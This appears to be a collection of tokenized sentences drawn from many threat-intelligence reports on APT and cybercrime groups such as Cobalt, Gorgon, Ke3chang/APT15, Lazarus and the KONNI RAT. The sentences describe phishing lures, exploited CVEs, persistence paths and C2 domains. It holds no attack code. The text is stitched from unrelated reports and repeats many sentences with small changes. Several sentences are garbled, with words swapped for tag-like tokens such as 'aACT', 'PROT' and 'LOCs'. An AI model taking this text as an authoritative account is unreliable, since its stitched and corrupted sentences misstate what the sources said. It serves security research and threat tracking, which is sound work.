TinyZBot is a bot written in C# and developed by the Cleaver team .
Some of the teams publicly known today include Iranian Cyber Army , Ashiyane , Islamic Cyber Resistance Group , Izz ad-Din al-Qassam Cyber Fighters , Parastoo , Shabgard , Iran Black Hats and many others 9 .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .
Against targets in the CIS countries , the Cobalt also used their own infrastructure , which included rented dedicated servers .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
Artifacts indicated the involvement of the Cobalt that , according to Positive Technologies information , from August to October had performed similar successful attacks in Eastern Europe , and it 's likely that this group may will soon become active in the West .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak , Corkow , Buhtrap , and Lurk groups began conducting the first attacks on Russian banks .
In a recent spear-phishing campaign , the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike , but ended up revealing all targets .
This isn't the first time we've seen Cobalt makes this error—back in March , an attack focussing on 1,880 targets across financial institutions in Kazakhstan had the same flaw .
The Carbanak attacks targeting over a 100 financial institutions worldwide .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
The organised crime group started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
One of the Cobalt Group 's latest campaigns , an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor , was investigated and presented by the Talos research team .
The Cobalt started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
The Cobalt group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
The hacking group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
If successful , Cobalt goes on to attack financial institutions outside the country .
The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled .
As part of our monitoring of Iranian threat agents activities , we have detected that since October 2016 and until the end of January 2017 , the Jerusalem Post , as well as multiple other Israeli websites and one website in the Palestinian Authority were compromised by Iranian threat agent CopyKittens .
CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date , and are analyzed in this report : TDTESS backdoor ; Vminst , a lateral movement tool ; NetSrv , a Cobalt Strike loader ; and ZPP , a files compression console program .
CopyKittens often uses the trial version of Cobalt Strike , a publicly available commercial software for " Adversary Simulations and Red Team Operations " .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
The group , which we have given the name Gallmaker , has been operating since at least December 2017 , with its most recent activity observed in June 2018 .
Rather , the Gallmaker 's attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
Back in 2013 , CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news , an Israeli newspaper .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
Gallmaker 's targets are embassies of an Eastern European country .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
The group has carried out attacks most months since December 2017 .
Its activity subsequently increased in the second quarter of 2018 , with a particular spike in April 2018 .
The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect .
The Gamaredon Group primarily makes use of compromised domains , dynamic DNS providers , Russian and Ukrainian country code top-level domains ( ccTLDs ) , and Russian hosting providers to distribute their custom-built malware .
Gallmaker may well have continued to avoid detection were it not for Symantec 's technology .
In this instance , Symantec identified the specific PowerShell commands used by Gallmaker as being suspicious , leading to the discovery of this new campaign .
Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected .
Previously , LookingGlass reported on a campaign they named " Operation Armageddon " , targeting individuals involved in the Ukrainian military and national security establishment .
The earliest discovered sample ( based on compile times and sandbox submission times ) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro .
The scripts would also use wget to send POST requests to command and control ( C2 ) servers that would contain information about the compromised system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
While the most recent samples observed still use batch scripts and SFX files , the Gamaredon Group has moved aACT from applications like wget , Remote Manipulator MAL , VNC and ChkFlsh.exe .
The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government .
Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon .
Periodically , researchers at Palo Alto Networks hunt through WildFire execution reports , using AutoFocus , to identify untagged samples ' artifacts in the hopes of identifying previously undiscovered malware families , behaviors , and campaigns .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millions of dollars while infecting hundreds of financial institutions in at least 30 countries .
Today at the Security Analyst Summit ( SAS 2016 ) , Kaspersky Lab is announcing the discovery of two new gangs engaged in APT-style bank robberies – Metel and GCMAN – and the reemergence of the Carbanak group with new targets in its sights .
In 2015 , Kaspersky Lab researchers conducted Incident Response for 29 organizations located in Russia and infected by these three groups .
Kaspersky Lab is releasing crucial Indicators of Compromise ( IOCs ) and other data to help organizations search for traces of these attack groups in their corporate networks .
In all , Kaspersky Lab discovered Metel in more than 30 financial institutions .
It is highly likely that this threat is far more widespread and we urge financial institutions around the world to scan their networks for signs of the Metel malware .
A second group , which we call GCMAN because the malware is based on code compiled on the GCC compiler , emerged recently using similar techniques to the Metel Group to infect banking institutions and attempt to transfer money to e-currency services .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Once inside the network , the GCMAN group uses legitimate and penetration testing tools such as Putty , VNC , and Meterpreter for lateral movement .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
During that time they poked 70 internal hosts , compromised 56 accounts , making their ACT from 139 attack sources ( TOR and compromised home routers ) .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Kaspersky Lab 's research team responded to three financial institutions in Russia that were infected with the GCMAN malware .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
Recently Subaat drew our attention due to renewed targeted attack activity .
Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec , in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking , which we are calling Gorgon Group .
Starting in February 2018 , Palo Alto Networks identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
Starting in February 2018 , Palo Alto Networks Unit 42 identified aof attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
Starting in February 2018 , Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
APT38 's increasingly aggressive targeting against banks .
Gorgon Group used common URL shortening services to download payloads .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
APT38 has paralleled North Korea 's worsening financial condition .
On much of the C2 infrastructure we identified several crimeware family samples .
While investigating the domains and infrastructure used by the phishing components of Gorgon Group , Unit 42 researchers witnessed several common operational security flaws with Gorgon Group 's actors throughout their many campaigns .
360 and Tuisec already identified some Gorgon Group members .
RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks .
it 's not known if the attackers physically reside in Pakistan .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
While it 's not known if the attackers physically reside in Pakistan , all members of Gorgon Group purport to be in Pakistan based on their online personas .
Starting in mid-February , Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks .
Unit 42 researchers have been tracking Gorgon Group for criminal and targeted attacks .
As part of the investigation , Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks .
The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time , rarely changing their TTPs .
One interesting note about the criminal activity of Gorgon Group is their usage of Bitly .
Between April 1 , 2018 and May 30 , 2018 , we observed the domain stevemike-fireforce.info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack .
Similar to that of their targeted attacks , Gorgon Group leveraged Bitly for distribution and shortening of C2 domains .
Beginning in early March 2018 , Unit 42 started observing targeted attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April .
As we continued to investigate , it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan .
Starting in mid-February .
Additionally , during that time , members of Gorgon Group were also performing criminal operations against targets across the globe , often using shared infrastructure with their targeted attack operations .
Unit 42 researchers have been tracking an active campaign .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Beginning in early March 2018 , Unit 42 started observing Gorgon group attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Like all of Gorgon Group 's members , Fudpage 's online profile , infrastructure utilization and standardization , connects them back to Gorgon Group .
Ultimately , this lead us to the conclusion that several of Gorgon Group 's members have a nexus in Pakistan .
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks .
Overall , in spite of the lack of sophistication in Gorgon Group 's activity , they were still relatively successful ; once again proving that simple attacks on individuals without proper protections , work .
On January 15 , Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
While Gorgon Group has been making minor changes in their methodologies , they are still actively involved in both targeted and criminal attacks .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
This key was also used in the Honeybee campaign and appears to have been used since August 2017 .
Several additional documents surfaced between January 17 and February 3 .
All contain the same Visual Basic macro code and author name as Honeybee .
Some of the malicious documents were test files without the implant .
From our analysis , Honeybee submitted most of these documents from South Korea , indicating that some of the targeting was in South Korea .
Honeybee attacked beyond the borders of South Korea to target Vietnam , Singapore , Argentina , Japan , Indonesia , and Canada .
Honeybee appears to target humanitarian aid and inter-Korean affairs .
McAfee Advanced Threat Research team 's analysis , we find multiple components from this operation are unique from a code perspective , even though the code is loosely based on previous versions of the SYSCON backdoor .
Large-scale cyber espionage campaigns such as " GhostNet " .
As the crisis in Syria escalates , FireEye researchers have discovered a cyber espionage campaign , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
As the crisis in Syria escalates , FireEye researchers have discovered a threat group , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010 .
FireEye gained visibility into one of 23 known command-and-control ( CnC ) servers operated by the Ke3chang actor for about one week .
Each attack comprises a variety of phases , including reconnaissance , exploitation , command and control , lateral movement , and Exfiltration .
The Ke3chang attackers have been active since at least 2010 .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
August 2013 , FireEye gained visibility on one of 22 CnC servers used at that time by the Ke3chang attackers .
In this report , we present the historical intelligence we have gathered on the Ke3chang campaign , as well as an in-depth assessment of the ongoing Syrian-themed attacks against these MFAs .
Ke3chang attackers have used spear-phishing emails .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
Over the years , the Ke3chang attackers have used three types of malware that we call : " BS2005 " , " BMW " , and " MyWeb " .
it is a typical first stage backdoor commonly found in APT attacks .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
All of the CnC communications are performed over the HTTP protocol .
The current Ke3chang campaign leverages the BS2005 malware , while older activity from 2010 - 2011 leveraged BMW , followed by the MyWeb malware sporadically used in between .
A trait common to all three malware families we analyzed is that they use the IWebBrowser2 COM interface to perform their CnC communication .
Three months after the Olympics-themed attacks , FireEye observed a new BS2005 campaign labeled " newtiger " , which is possibly a reference to an older 2010 campaign labeled " tiger " .
Using information from the FireEye DTI cloud , FireEye observed that Ke3chang targeted a single firm .
The Ke3chang attackers used the older " MyWeb " malware family from 2010 to 2011 .
The Ke3chang attackers used the older MyWeb malware family from 2010 to 2011 .
During our period of visibility into the BS2005 " moviestar " campaign against various ministries of foreign affairs in Europe , FireEye discovered that the Ke3chang had initially tested the malware in virtual machines , prior to compromising actual targets .
The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011 .
At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .
MyWeb is the second-generation malware used by Ke3chang .
ministries of foreign affairs in Europe have been targeted and compromised by a threat actor we call Ke3chang .
This attack used the crisis in Syria as a lure to deliver malware to its targets .
Tracking the malicious activities of the elusive Ke3chang APT group , ESET researchers have discovered new versions of malware families linked to the group , and a previously unreported backdoor .
Furthermore , FireEye has presented evidence indicating that the Ke3chang attackers have been active since at least 2010 and have attacked targets related to G20 meetings in the past .
During our brief window of visibility into one of the known 22 CnC nodes , FireEye observed the Ke3chang conducting reconnaissance and moving laterally throughout the compromised networks .
Ke3chang attackers are operating within China .
In May 2017 , NCC Group 's Incident Response team reacted to an ongoing incident .
which provides a range of services to UK Government .
APT15 was targeting information related to UK government departments and military technology .
backdoors that now appear to be part of APT15 's toolset .
This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .
RoyalDNS - required APT15 .
The Ke3chang group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes .
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets .
This time , APT15 opted for a DNS based backdoor : RoyalDNS .
APT15 then used a tool known as RemoteExec .
APT15 then used a tool known as RemoteExec ( similar to Microsoft .
Coincidentally , following the recent hack of a US Navy contractor and theft of highly sensitive data on submarine warfare , we have found evidence of very recent activity by a group referred to as APT15 , known for committing cyber espionage which is believed to be affiliated with the Chinese government .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
Other names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
ther names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group ; although posted in March 2018 , it refers to a campaign in 2017 .
both attributed to Chinese government affiliated groups .
DLL hijacking techniques have been seen in the past with the APT15 group .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover and Hangman .
DHS has previously released Alert TA14-353A .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
Our analysis shows that the cybercriminals behind the attack against an online casino in Central America , and several other targets in late-2017 , were most likely the infamous Lazarus hacking group .
The Lazarus Group was first identified in Novetta 's report Operation Blockbuster in February 2016 .
cyberattacks against high-value targets in Ukraine in December 2015 and December 2016 .
In all of these incidents , the Lazarus utilized similar toolsets , including KillDisk that was executed on compromised machines .
We are confident this KillDisk malware was deployed by Lazarus , rather than by another , unrelated attacker .
This recent attack against an online casino in Central America suggests that hacking tools from the Lazarus toolset are recompiled with every attack ( we didn't see these exact samples anywhere else ) .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
Today we'd like to share some of our findings , and add something new to what 's currently common knowledge about Lazarus Group activities , and their connection to the much talked about February 2016 incident , when an unknown attacker attempted to steal up to $851M USD from Bangladesh Central Bank .
Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and the Bangladesh bank heist .
However , from this it 's only clear that Lazarus might have attacked Polish banks .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
Considering that the afterhack publications by the media mentioned that the investigation stumbled upon three different attackers , it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions , or if Lazarus had in fact developed its own malware to attack banks ' systems .
We would like to add some strong facts that link some attacks on banks to Lazarus , and share some of our own findings as well as shed some light on the recent TTPs used by the attacker , including some yet unpublished details from the attack in Europe in 2017 .
Lazarus attacks are not a local problem and clearly the group 's operations span across the whole world .
Lazarus was previously known to conduct cyberespionage and cybersabotage activities , such as attacks on Sony Pictures Entertainment with volumes of internal data leaked , and many system harddrives in the company wiped .
We believe that Lazarus Group is very large and works mainly on infiltration and espionage operations , while a substantially smaller units within the group , which we have dubbed Bluenoroff , is responsible for financial profit .
Lazarus regrouped and rushed into new countries , selecting mostly poorer and less developed locations , hitting smaller banks because they are , apparently , easy prey .
To date , the Lazarus group has been one of the most successful in launching large scale operations against the financial industry .
We believe that Lazarus will remain one of the biggest threats to the banking sector , finance , and trading companies , as well as casinos for the next few years .
We believe Lazarus started this watering hole attack at the end of 2016 after their other operation was interrupted in South East Asia .
We believe they started this watering hole campaign at the end of 2016 after their other operation was interrupted in South East Asia .
A rudimentary but somewhat clever design , KiloAlfa provides keylogging capability for the Lazarus Group 's collection of malicious tools .
The design of KiloAlfa is broken down into two basic components : the persistence functionality and the keylogging functionality .
The persistence functionality of KiloAlfa allows the malware to self-install on a victim 's machine when activated ( described below ) .
Evidence suggest that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples .
PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server for operations .
Rather , PapaAlfa could be considered a smart proxy due in part to the fact that the Lazarus can easily switch the backend destination address and PROT without having to reestablish control over the infected machine hosting the PapaAlfa malware .
In terms of form factor , PapaAlfa comes in two flavors : service DLL and standalone executable .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
While the tools profiled in this report are not inherently malicious , their capabilities are nonetheless integral to the Lazarus Group 's cyber operations , both espionage and destructive in nature , making them inherently dangerous to potential victims .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
Furthermore , like many other identified Lazarus Group families , these tools showcase the group 's creative solutions , such as the PapaAlfa , which makes it difficult to immediately identify potentially malicious activity on a compromised network .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .
This reverse engineering report looks at the RATs and staging malware found within the Lazarus Group 's collection .
Regardless of their sophistication or refinement , the malware families within the Lazarus Group 's India and Lima classes perform at a reasonable level for their designed purpose : the introduction and persistence of malware from the Lazarus Group on a victim 's infrastructure .
While the capabilities for the installers , loaders , and uninstallers in this report are relatively straight forward and single-focused , analysis of these malware families provide further insight into the capabilities of the Lazarus Group .
The Lazarus Group employs a variety of RATs that operate in both client mode and server mode .
The most common communication mode for a RAT is to act as a client to a remote server .
The Lazarus Group employs a variety of RATs and staging malware to conduct cyber operations , many of which contain significant code overlap that points to at least a shared development environment .
While some members within the Romeo and Sierra groups may not implement sound authentication strategies , shift their design focus in abrupt and unusual manners , and fail to understand the pitfalls of distributed command networks , on the whole the families within the Lazarus Group 's collection of RATs and staging malware perform their tasks with surprising effectiveness .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
McAfee Advanced Threat Research analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
McAfee Advanced Threat Research ( ATR ) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
The use of decoy documents also reveals some of the potential targets of the Lazarus group 's malicious activity , specifically the use spear phishing attacks observed targeting South Korean government and aerospace organizations .
The campaign lasted from April to October and used job descriptions relevant to target organizations , in both English and Korean language .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations .
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
This Malware Analysis Report ( MAR ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
When victims open malicious documents attached to the emails , the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control ( C2 ) server to a victim 's system via dual proxies .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware to establish persistence .
HIDDEN COBRA actors install the FALLCHILL malware to establish persistence .
Working with U.S. government partners , DHS and FBI identified Internet Protocol ( IP ) addresses and other indicators of compromise ( IOCs ) associated with a remote administration tool ( RAT ) used by the North Korean government—commonly known as FALLCHILL .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Because of this , additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL .
This campaign , dubbed Operation GhostSecret , leverages multiple implants , tools , and malware variants associated with the state-sponsored cyber group HIDDEN COBRA .
From March 18 to 26 we observed the malware operating in multiple LOCs of the world .
Furthermore , the Advanced Threat Research team has discovered Proxysvc , which appears to be an undocumented implant .
Our investigation into this campaign reveals that the actor used multiple malware implants , including an unknown implant with capabilities similar to Bankshot .
The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats , including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad , which was used in the Sony Pictures attack .
Based on our analysis of public and private information from submissions , along with product telemetry , it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017 .
This new variant resembles parts of the Destover malware , which was used in the 2014 Sony Pictures attack .
The Lazarus used a similar infrastructure to earlier threats , including the Destover backdoor variant known as Escad .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
The Advanced Threat Research team uncovered activity related to this campaign in March 2018 , when the actors targeted Turkish banks .
KONNI : A Malware Under The Radar For Years .
Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years .
During this time it has managed to avoid scrutiny by the security community .
The current version of the malware allows the operator to steal files , keystrokes , perform screenshots , and execute arbitrary code on the infected host .
Talos has named this malware KONNI .
Throughout the multiple campaigns observed over the last 3 years , the actor has used an email attachment as the initial infection vector .
They then use additional social engineering to prompt the target to open a .scr file , display a decoy document to the users , and finally execute the malware on the victim's machine .
The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost .
The malware has evolved over time .
In this article , we will analyse this evolution: at the beginning the malware was only an information stealer without remote administration , it moved from a single file malware to a dual file malware (an executable and a dynamic library ) , the malware has supported more and more features over the time , the decoy documents have become more and more advanced .
The different versions contain copy/pasted code from previous versions .
Moreover the new version searches for files generated by previous versions .
This evolution is illustrated across 4 campaigns : one in 2014 , one in 2016 and finally two in 2017 .
The decoy document of the 2 last campaigns suggests that the targets are public organisations .
Both documents contained email addresses , phone numbers and contacts of members of official organizations such as United Nations , UNICEF , and Embassies linked to North Korea .
In this campaign , the dropper filename was beauty.scr .
Based on the compilation date of the two binaries , this campaign took place in September 2014 .
Once executed , two files were dropped on the targeted system : a decoy document (a picture) and a fake svchost.exe binary .
Both files were stored in "C:\Windows" .
The fake svchost binary is the KONNI malware .
The first task of the malware is to generate an ID to identify the infected system .
This ID is generated based on the installation date of the system .
The second task of malware is to ping the CC and get orders .
The malware includes 2 domains: phpschboy.prohosts.org , jams481.site.bz .
The developer used the Microsoft Winsocks API to handle the network connection .
Surprisingly , this isn't the easiest or the most efficient technical choice for HTTP connection .
The malware samples we analysed connected to only one URI: <c2-domain>/login.php .
This version of KONNI is not designed to execute code on the infected system .
The purpose is to be executed only once and steal data on the infected system , here are the main features : Keyloggers , Clipboard stealer , Firefox profiles and cookies stealer , Chrome profiles and cookies stealer , Opera profiles and cookies stealer .
The name of the .scr file was directly linked to tension between North Korea and USA in March 2016 more information .
Based on the compilation dates of the binaries , the campaign took place in the same period .
An interesting fact : the dropped library was compiled in 2014 and appears in our telemetry in August 2015 .
Indicating that this library was probably used in another campaign .
The .scr file contains 2 Office documents .
The first document was in English and a second in Russian .
In the sample only the English version can be displayed to the user (that is hardcoded in the sample) .
The Russian document is not used by the sample , we assume that the author of the malware forgot to remove the resource containing the Russia decoy document .
The malware author changed the malware architecture , this version is divided in two binaries: conhote.dll , winnit.exe .
Another difference is the directory where the files are dropped , it's no longer C:\Windows but rather the local setting of the current user (%USERPROFILE%\Local Settings\winnit\winnit.exe) .
Thanks to this modification , the malware can be executed with a non-administrator account .
The .dll file is executed by the .exe file .
In this version , a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk .
As you can see the attacker has went to great lengths to disguise his service as a legitimate Antivirus Service by using the name 'Anti virus service.lnk' .
This is of course simple but often it can be enough for a user to miss something malicious by name .
As in the previous version , the ID of the infected system is generated with exactly the same method .
The C2 is different and the analysed version this time only contains a single domain: dowhelsitjs.netau.net .
In this version , the developer used a different API , the Wininet API which make more sense for Web requests .
Moreover the C2 infrastructure evolved too , morefiles are available through the web hosting: <c2-domain>/login.php <c2-domain>/upload.php <c2-domain>/download.php .
This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution .
The library is only used to perform keylogging and clipboard stealing .
Indeed , the malware author moved this part of the code from the core of the malware to a library .
An interesting element is that the malware looks for filenames created with the previous version of KONNI .
This implies that the malware targeted the same people as the previous version and they are designed to work together .
The malware internally uses the following files : solhelp.ocx sultry.ocx helpsol.ocx psltre.ocx screentmp.tmp (log file of the keylogger) spadmgr.ocx apsmgrd.ocx wpg.db .
In this campaign , the malware author uses the following name: Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.scr. The decoy document shown after infection is an Office document containing email addresses , phone numbers and contacts of members of official organizations such as the United Nations , UNICEF , Embassies linked to North Korea .
The .scr files drops two files: an executable and a library .
As in the previous version , the persistence is achieved by a Windows shortcut (in this case adobe distillist.lnk ) .
Contrary to the previous version , the developers moved the core of malware to the library .
The executable performs the following tasks: If the system is a 64-bit version of Windows , it downloads and executes a specific 64-bit version of the malware thanks to a powershell script .
Loading the dropped library .
The library contains the same features as the previous version as well as new ones .
This version of KONNI is the most advanced with better coding .
The malware configuration contains one Command and Control: pactchfilepacks.net23.net .
A new URI is available: <c2-domain>/uploadtm.php .
This URI is used with a new feature implemented in this version: the malware is able to perform screenshot (thanks to the GDI API) and uploads it thank to this URL .
The malware checks if a file used on a previous version of KONNI is available on the system .
Here is the complete list of files internally used by the RAT: error.tmp (the log file of the keylogger) tedsul.ocx helpsol.ocx trepsl.ocx psltred.ocx solhelp.ocx sulted.ocx .
The handling of instructions has improved too .
Here are the 7 actions that the infected machine can be instructed to perform: Delete a specific file .
Upload a specific file based on a filename .
Upload a specific file based on the full path name .
Create a screenshot and uploads it on the C2 .
Get system information .
Download a file from the Internet .
